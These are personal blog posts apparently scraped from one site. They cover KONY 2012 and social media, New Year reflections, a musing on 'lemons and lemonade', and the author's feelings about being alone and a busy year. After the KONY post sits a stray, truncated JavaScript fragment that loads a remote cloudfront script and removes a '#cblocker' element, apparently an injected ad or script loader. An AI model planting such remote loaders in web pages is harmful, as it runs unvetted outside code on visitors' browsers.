Because everyone is talking about it…KONY 2012

Due to the huge publicity this campaign has gotten recently from the release of a video by the Invisible Children, everyone’s been talking about it and because everyone is talking about it, it means that there are lots of good press and lots of bad press.

Am I for? or Against?

I admit, I loved the video and only used the video to base my opinion when I first shared the video via facebook and twitter.  I am one to judge a book by it’s cover.  Once the campaign got big, there were more sides to the story.  I don’t feel like reading up about all of them because for me, it’s not necessarily just about Kony.  It’s about what power social media has these days.

In a matter of a day, word spread everywhere about this video, KONY 2012.  Isn’t that just amazing?

Look at the power we have now compared to back then.  Look at all the information that is so readily available to us now.  Whether you are one to oppose or one to go with the flow, you are talking about it and therefore contributing to the campaign even if you didn’t want to to begin with.

Am I making any sense?

It’s not about the cause necessarily here, it’s about what we can do to encourage change.  I think that that is ultimately the main campaign here, to bring awareness to ourselves and how much our generation and the younger generations can achieve change.  We are the ones who have the power, not the dictators of the world, not the war criminals, not any singular person but us, the socially connected youth.

PS: Really random thought, the one thing I found odd about the video and this campaign is, why cover the night on 4/20??  Also, why are people talking about killing Kony??  I thought they are trying to get him to be arrested and tried by the International Criminal Court? // -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=15220&zoneid=14731&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
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Happy New Year!

I hope everyone has had a wonderful holiday this year and wish everyone all the best in 2012.

I am unsure about whether or not I will continue to blog on here.  However, I will most likely continue to use my tumblr, so if you are interested in the girlier side of me, please feel free to follow me on tumblr, being a [bored] girl.

I have done a lot of thinking these past couple weeks as the year has come to an end and I must say that 2011 has been a year of growth and understanding of who I am.  If it weren’t for blogging, or my friends, or the experiences I have had, I would never be where I am today.  I am always thankful and grateful for all the things that have happened to me and I choose to live a life without regret.  Sometimes, I may feel like I regret something that I have done or not done in the past but I come to the conclusion that there is no point in regretting what you cannot change.  It is best to learn from those mistakes and move on.

I have always known to follow my instincts but I often fail to do so and end up wishing I had but in the end, I take it as a lesson to be learned.  Trust my instincts.  Eventually I’ll get it right.

I have learned many things in 2011 but most importantly for 2012, I believe my motto will be “alone does not have to be lonely”

And with that, I leave you all till next time whenever that may be.

Some places you can find me, where I will for sure be posting will be:

http://beingaboredgirl.tumblr.com

http://twitter.com/sarahfan

❤ I will continue to write but maybe not in such a public format.

Lots of love from me to you in 2012 ❤

“If life hands you lemons, make lemonade.”

We’ve all heard this saying before and for some odd reason while I am attempting to patiently wait for my nailpolish to dry, I thought of this saying.  I guess it could be because of my new sense of acceptance (if you don’t know what I’m talking about, you can see my previous post).

When I think of this saying though, I think why lemons? Then, I think, why lemonade?

I guess, life is never sweet.  Instead it often leaves you with a sour taste in your mouth that makes you cringe. Lemonade isn’t very sweet either but most people add a bit of sugar to it.  I am not entirely sure what I am trying to say in this post and I’m pretty sure I just ruined my nailpolish…sigh.

Basically, I think what I am trying to say is that either there is more to the saying than meets the eye or maybe the reason it’s such a popular saying is because its lemons and people read into things more than they should.  Wow, I don’t think that made any sense and I REALLY don’t think I should publish this post.

Ok, let me try this again.  People say this saying when they want to tell you to make the most of what you’ve got.  What I’m trying to say is that in order to make the most out of a sour situation, you have to add your own sugar to it.

Does this post make any sense at all?  (this post may be gone by next week.)

A Lone Girl Blogs…

It feels like that’s what I should rename my blog.  I feel like I have changed a lot.  I have tried to do things differently.  I am no longer completely stuck in one spot and too lazy/unmotivated to do anything about it.  I am now actively trying to figure out how to get to where I want to go, which makes me feel like I am no longer that lazy bored girl that would write depressing posts for no one to read.

However, I won’t rename my blog.

I will however tell you that the reason I feel like I should rename my blog “A Lone Girl Blogs” is because of my birthday coming up in less than 2 months.

If you follow me on twitter or tumblr, you will know that I will be turning 25 next year and that I want to go away for my birthday.  When I am 25, I want to either go to Disney World or Vegas.  I don’t know why those two places in particular, well Disney World because I feel like 25 = grown up and all I want is to have a break from adulthood and be a kid again.  Also, if you follow me, you will know that I want to CHOOSE to be alone on my birthday.

You see, I have always had a feeling that I will be alone for my entire life.  I feel like next year I should learn to embrace it.  I have already learned to smile for myself and not others but I think it’s time for me to just accept that I will be alone.  I have tried and it’s gotten to a point where I don’t think my heart can take it anymore.  I never thought I had trust issues and always assumed it was commitment issues but it’s a little bit of both.  I don’t trust that anyone will ever be there for me, I feel like everyone I love will always leave me and that’s why I have always left before they could leave me.  This is why, next year I will learn to accept the fact that I am alone and I will be ok.

I feel like next year is going to be an important year for me.

It’s been awhile…

It has been awhile since I’ve posted and as much as I want to say I have stuff to post, I don’t.  Stuff has changed since I last posted but most importantly, I’ve been busy.  I’m no longer that bored girl sitting at home watching shows and youtube videos and reading blogs.  I’m now a girl who has two part-time jobs since one is not enough and studying for my GRE’s.  I am still unsure as to where I want to be next year for a year before I apply to grad school but I realize I need to make this decision soon.  I need to know soon because a lot of volunteer positions within my field require a one year commitment due to the training that they give you.  So, should I stay or should I go?